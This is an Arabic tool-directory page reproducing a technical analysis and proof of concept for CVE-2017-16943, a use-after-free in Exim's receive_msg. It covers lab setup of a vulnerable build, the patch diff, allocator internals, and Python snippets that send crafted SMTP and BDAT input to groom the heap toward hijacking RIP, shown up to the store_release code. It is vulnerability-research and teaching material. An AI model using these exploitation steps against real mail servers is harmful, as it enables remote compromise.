Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2017-16943 — تحليل فني وإثبات المفهوم لـ CVE-2017-16943، وهو استخدام بعد التحرير في دالة receive_msg في Exim، يوضح التلاعب بالكومة واختطاف RIP. | Kitploit
أدوات/GitHubGitHub/beraphin/cve-2017-16943
تحليل الذاكرة الجنائيتحليل الثغرات الأمنيةالاستغلالمصممي الأخطاءالتعلم والتعليماستغلال الملفات الثنائية
GitHubberaphin/cve-2017-16943

CVE-2017-16943

تحليل فني وإثبات المفهوم لـ CVE-2017-16943، وهو استخدام بعد التحرير في دالة receive_msg في Exim، يوضح التلاعب بالكومة واختطاف RIP.

عرض المستودع
23منذ 6 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2017-16943

إعداد البيئة

git clone https://github.com/Exim/exim.git
git checkout 01c594601670c7e48e676d6c6d32d0f0084067fa
cd ./exim/src
mkdir Local
wget "https://bugs.exim.org/attachment.cgi?id=1051" -O Makefile

عدّل متغيرات المسار واسم المستخدم في ملف Makefile

cd ..
make -j8
sudo make install

بعد التثبيت، غيّر accept hosts = : إلى accept hosts = * في إعدادات configure شغّل:

exim -bdf -d-receive

تحليل الثغرة

هذه الثغرة هي ثغرة استخدام بعد التحرير (UAF)، وتحدث في الدالة receive_msg الموجودة في receive.c، وهذه الدالة مسؤولة عن استقبال المدخلات من العميل. لنلقِ نظرة على سجل التصحيح:

 src/src/receive.c | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/src/src/receive.c b/src/src/receive.c
index e7e518a..d9b5001 100644
--- a/src/src/receive.c
+++ b/src/src/receive.c
@@ -1810,8 +1810,8 @@ for (;;)
   (and sometimes lunatic messages can have ones that are 100s of K long) we
   call store_release() for strings that have been copied - if the string is at
   the start of a block (and therefore the only thing in it, because we aren't
-  doing any other gets), the block gets freed. We can only do this because we
-  know there are no other calls to store_get() going on. */
+  doing any other gets), the block gets freed. We can only do this release if
+  there were no allocations since the once that we want to free. */
 
   if (ptr >= header_size - 4)
     {
@@ -1820,9 +1820,10 @@ for (;;)
     header_size *= 2;
     if (!store_extend(next->text, oldsize, header_size))
       {
+      BOOL release_ok = store_last_get[store_pool] == next->text;
       uschar *newtext = store_get(header_size);
       memcpy(newtext, next->text, ptr);
-      store_release(next->text);
+      if (release_ok) store_release(next->text);
       next->text = newtext;
       }
     }

أولاً، دعنا نوضح دور بعض المتغيرات العامة:

current_block: كتلة التخزين الحالية، وعند استدعاء store_get_3 في المرة القادمة يتم البحث عن منطقة فارغة في هذه الكتلة أولاً
next_yield: يشير إلى عنوان بداية المنطقة الفارغة داخل current_block، وبشكل عام يُستخدم النصف العلوي من storeblock ويظل النصف السفلي فارغاً
yield_length: طول next_yield

من خلال تحليل PoC الخاص بـ meh، يمكننا أن نرى أن البرنامج غير المُصحح يمكنه تفعيل ثغرة UAF عبر عملية تخطيط الكومة التالية: أولاً، في الدالة receive_msg، اجعل next->text يصبح المخزن المؤقت الابتدائي لكتلة storeblock: 1

ثم استخدم أمر bdat لتخصيص مخزن مؤقت أسفل ذلك النص
لماذا نستخدم أمر bdat؟
في الحقيقة، يمكن لكل من auth plain والأوامر غير القانونية المكوّنة من أحرف غير مرئية تخصيص مخزن مؤقت أسفل النص، لكن الأوامر الأخرى ستؤدي إلى خروج الدالة receive_msg
وبعد الدخول إلى receive_msg مرة أخرى، سيشير next->text إلى منطقة أخرى، لذا لا يمكن تفعيل الثغرة
أما أمر bdat فلن يخرج الدالة receive_msg الحالية، وهذا أمر بالغ الأهمية 2

ثم أرسل الأحرف باستمرار لملء next_text (ابتداءً من 0x100)، وعندها سينتقل البرنامج إلى نقطة الثغرة
في store_extend، يكتشف البرنامج أن وجود مخزن bdat المؤقت يمنع التمديد، لذا ينفذ store_get للحصول على المنطقة التي يشير إليها next_yield، ثم يستدعي الدالة store_release
هذه الدالة تتحقق فقط مما إذا كانت وسيطة release هي بداية storeblock، لكنها لا تتحقق مما إذا كانت هناك مخازن مؤقتة أخرى خلفها، ثم تقوم بتحرير storeblock مباشرة
هذا يؤدي إلى أن العنوان الذي يعيده store_get يظل داخل current_block، لكن يتم تحرير current_block بعد ذلك مباشرة، مما يسبب ثغرة UAF

اختطاف RIP

هنا نشرح خطوة بخطوة كيفية اختطاف RIP بالاعتماد على كود الـ PoC

ehlo('test')
r.sendline("MAIL FROM:<test@localhost>")
r.recvline()
r.sendline("RCPT TO:<test@localhost>")
r.recvline()
unrec('a'*0x1100+'\x7f')

أولاً، نرسل مجموعة من البيانات، والهدف من ذلك هو جعل yield_length أصغر من 0x130 لكن أكبر من 0x30
لماذا نحتاج إلى ذلك؟ لننظر إلى بداية الدالة receive_msg:

...
File: receive.c
1700: received_header = header_list = header_last = store_get(sizeof(header_line));
1701: header_list->next = NULL;
1702: header_list->type = htype_old;
1703: header_list->text = NULL;
1704: header_list->slen = 0;
1705: 
1706: /* Control block for the next header to be read. */
1707: 
1708: next = store_get(sizeof(header_line));
1709: next->text = store_get(header_size);
...

يمكن ملاحظة أنه قبل تخصيص next->text يتم تخصيص مخزنين مؤقتين بحجم sizeof(header_line)، وهذا الحجم هو 0x18
لذا إذا كان المتبقي yield_length بعد تخصيص هاتين الكتلتين بحجم 0x18 أقل من 0x100،
فعند تخصيص next->text سيقوم store_get بتخصيص storeblock جديد، وسيكون next->text في بداية هذا storeblock

ثم نستدعي أمر bdat

r.sendline('BDAT 1')
r.sendline(':BDAT \xdd')

يحتوي هذا الأمر على حرف غير مرئي، مما يؤدي إلى استدعاء store_get لتخصيص مخزن مؤقت لتخزين رسالة الخطأ:

pwndbg> hexdump 0x71d0e0 
+0000 0x71d0e0  42 44 41 54  20 5c 33 33  35 00 20 63  68 75 6e 6b  │BDAT│.\33│5..c│hunk│
+0010 0x71d0f0  35 30 31 20  6d 69 73 73  69 6e 67 20  73 69 7a 65  │501.│miss│ing.│size│
+0020 0x71d100  20 66 6f 72  20 42 44 41  54 20 63 6f  6d 6d 61 6e  │.for│.BDA│T.co│mman│
+0030 0x71d110  64 0a 00 00  00 00 00 00  00 00 00 00  00 00 00 00  │d...│....│....│....│

(لاحظ أنه إذا كانت الأوامر غير القانونية تحتوي على أحرف غير مرئية، فسيؤدي ذلك أيضاً إلى تخصيص كتل كومة إضافية)

في هذه المرحلة، نرسل الأحرف باستمرار:

unrec('a'*6 + p64(0xdeadbeef)*(0x1e00/8))

عندها سيتم ملء next->text بالأحرف المستلمة بايتاً ببايت، وعند امتلاء المنطقة الفارغة بحجم 0x100، سيتم الانتقال إلى كود الثغرة لتوسيع حجم next->text
أولاً، يتم الدخول إلى store_extend(next->text, oldsize, header_size) لمحاولة توسيع الحجم مباشرة:

File: store.c
266: BOOL
267: store_extend_3(void *ptr, int oldsize, int newsize, const char *filename,
268:   int linenumber)
269: {
270: int inc = newsize - oldsize;
271: int rounded_oldsize = oldsize;
272: 
273: if (rounded_oldsize % alignment != 0)
274:   rounded_oldsize += alignment - (rounded_oldsize % alignment);
275: 
276: if (CS ptr + rounded_oldsize != CS (next_yield[store_pool]) ||
277:     inc > yield_length[store_pool] + rounded_oldsize - oldsize)
278:   return FALSE;
...

التحقق الرئيسي يقع في السطرين 276~277
الشرط الأول يتحقق مما إذا كان المؤشر ptr المراد توسيعه متبوعاً مباشرة بـ next_yield
الشرط الثاني يتحقق مما إذا كان الحجم بعد إضافة حجم next_yield (أي yield_length) كافياً
من الواضح أن الشرط الأول غير محقق، لأن next->text يتبعه مخزن bdat المؤقت، وبعده فقط يأتي next_yield

ثم يتم الدخول إلى store_get لتخصيص كتلة جديدة، ويتم تخصيصها عند next_yield
بعد ذلك يتم استدعاء store_release لتحرير next_text الأصلي، لاحظ منطق التحقق هنا:

File: store.c
448: void
449: store_release_3(void *block, const char *filename, int linenumber)
450: {
451: storeblock *b;
452: 
453: /* It will never be the first block, so no need to check that. */
454: 
455: for (b = chainbase[store_pool]; b != NULL; b = b->next)
456:   {
457:   storeblock *bb = b->next;
458:   if (bb != NULL && CS block == CS bb + ALIGNED_SIZEOF_STOREBLOCK)
459:     {
...
482:     free(bb);
483:     return;
484:     }
485:   }
486: }
487:
تنزيل الأداة